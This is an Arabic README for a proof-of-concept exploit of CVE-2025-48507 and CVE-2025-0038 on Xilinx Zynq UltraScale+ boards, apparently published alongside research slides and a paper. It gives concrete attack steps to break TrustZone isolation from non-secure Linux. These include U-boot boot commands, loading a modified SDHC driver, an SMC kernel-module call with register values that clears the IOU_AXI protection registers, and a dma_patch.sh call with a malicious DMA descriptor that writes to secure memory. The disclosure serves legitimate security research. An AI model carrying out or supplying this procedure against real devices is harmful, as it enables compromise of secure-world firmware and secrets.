
إثبات المفهوم لـ CVE-2025-48507. يمكن استغلال الثغرة الأمنية بواسطة برنامج غير آمن (على سبيل المثال، Linux) لاختراق منطقة الثقة والحصول على الوصول إلى العالم الآمن.
يمكن للبرامج غير الآمنة استغلال CVE-2025-48507 و CVE-2025-0038 للحصول على وصول قراءة/كتابة إلى العالم الآمن على منصات Zynq UltraScale+، وبالتالي كسر عزل TrustZone. ولهذا الغرض، تستغل البرامج غير الآمنة CVE-2025-0038 و CVE-2025-48507 لمسح سجلات IOU_AXI_WPRTCN و IOU_AXI_RPRTCN (0xFF240000) لتحويل وحدة تحكم SD المضيفة إلى سيد آمن. ثم تقوم البرامج غير الآمنة (مثل Linux) باستخدام وحدة تحكم SD المضيفة (واجهة التابع لا تزال غير آمنة) للكتابة أو القراءة من أي ذاكرة آمنة.
مزيد من المعلومات:
المنصات المتأثرة:
المكونات المتأثرة:
source/ : المصدر لإعادة إنتاج إثبات المفهوم هذا على Zynq UltraScale+ MPSoCs (ZC104)
لاستغلال CVE-2025-48507 و CVE-2025-0038
smc-tt.c: وحدة نواة أساسية تسمح لنظام Linux غير الآمن بإصدار استدعاءات SMC عشوائية.
Makefile: ملف Makefile لترجمة وحدات النواة عبر التجميع (يجب تعديل المسارات).
لاستغلال CVE-2025-0038 و CVE-2025-48507
doc/ : العروض التقديمية والمقال البحثي الذي يفصل الثغرات الأمنية على مستويات TF-A و PMU.
hw_debug/: سكريبتات مصحح الأجهزة لتصحيح أخطاء TF-A على APU ومعالج PMU. توفر بيئة لتصحيح أخطاء الوظائف المتأثرة في البرامج الثابتة لـ PMU و TF-A وتأكيد نجاح الهجوم. هذه السكريبتات مخصصة للاستخدام مع Trace32 ومصحح الأجهزة JTAG Lauterbach PowerDebug PRO. تم توصيل مصحح الأجهزة بمنفذ JTAG (J180) من ZCU104.
بناء بيئة متأثرة (أي Linux، TF-A، البرامج الثابتة لـ PMU...).
عند بناء Linux، قم بتعيين مشغل SDHC كوحدة نواة قابلة للتحميل عبر kconfig. هذا مطلوب فقط للاستغلال.
قم بترجمة وحدات النواة smc-tt.c و sdhci.c. يمكن استخدام ملف Makefile المقدم عن طريق تعديل مسارات النواة والمترجم.
لاستغلال الثغرات، أضف smc-tt.ko إلى نظام جذر Linux.
لاستغلال الثغرات، أضف sdhci.ko و dma_patch.sh إلى نظام جذر Linux.
إثبات المفهوم واستغلال الثغرات:
في إثبات المفهوم، تم إقلاع النظام (أي fslb، uboot...) من بطاقة SD. تم حرق نظام جذر Linux على USB. بالنسبة لهجوم DMA، استخدم Linux قسمًا فارغًا من بطاقة SD يتم الوصول إليه بواسطة وحدة تحكم SD المضيفة التي يقودها مشغل SDHC المعدل (sdhci.ko).
لاختبار الثغرات فقط، يمكن تخطي الخطوات 2 و 3 و 5.
أوامر U-boot لإقلاع Linux في العالم غير الآمن مع نظام جذره على قسم USB:
setenv bootargs root="/dev/sda" rw rootwait; fatload mmc 0 0x200000 Image && fatload mmc 0 0x1e0000 system.dtb && booti 0x200000 - 0x1e0000
إدراج مشغل SDHC المعدل لأداء وصول DMA عشوائي:
insmod /sdhci.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-pltfm.ko
insmod /lib/modules/6.6.70/kernel/drivers/mmc/host/sdhci-of-arasan.ko
محاولة تعديل الذاكرة الآمنة باستخدام مشغل SDHC المعدل. يجب أن تفشل لأن SDHC لا يزال غير آمن:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3
ARG1: الحمولة
ARG2: واصف ضار لأداء وصول DMA مارق.
ARG3: قسم جهاز يتم إدارته بواسطة وحدة تحكم SD المضيفة التي يتحكم بها مشغل SDHC المعدل.
استغلال الثغرات لمسح IOU_AXI_WPRTCN و IOU_AXI_RPRTCN (0xFF240000):
insmod /smc-tt.ko r0=0xc200002E r1=0xff24000000000100 r2=0x100000000
0xc200002E: استدعاء SMC المتأثر (PM_FPGA_READ).
0xff24000000000100: العنوان المراد مسحه (0xFF240000) (أي IOU_AXI_RPRTCN/IOU_AXI_WPRTCN) وعدد البايتات المراد مسحها (0x00000100)
0x100000000: قراءة بيانات PL مرة أخرى إلى الذاكرة الرئيسية (0x1). نظرًا لعدم تحميل أي شيء، فإن هذا ببساطة يمسح منطقة الذاكرة المستهدفة.
الآن يمكن لـ Linux استخدام DMA لـ SDHC للوصول الكامل إلى الذاكرة الآمنة
مزيد من المعلومات حول معلمات PM_FPGA_READ: https://github.com/ARM-software/arm-trusted-firmware/blob/c8eb6b042b57a145945a80fe4949c6f678309925/plat/xilinx/zynqmp/pm_service/zynqmp_pm_api_sys.c#L1693
محاولة تعديل الذاكرة الآمنة مرة أخرى (0xFFDC0000). يجب أن تنجح لأن SDHC أصبح الآن آمنة:
./dma_patch.sh SECURE_MEMORY_PATCHED_BY_NON_SEC '\x00\x00\xdc\xff\x20\x00\x23\x00' /dev/mmcblk0p3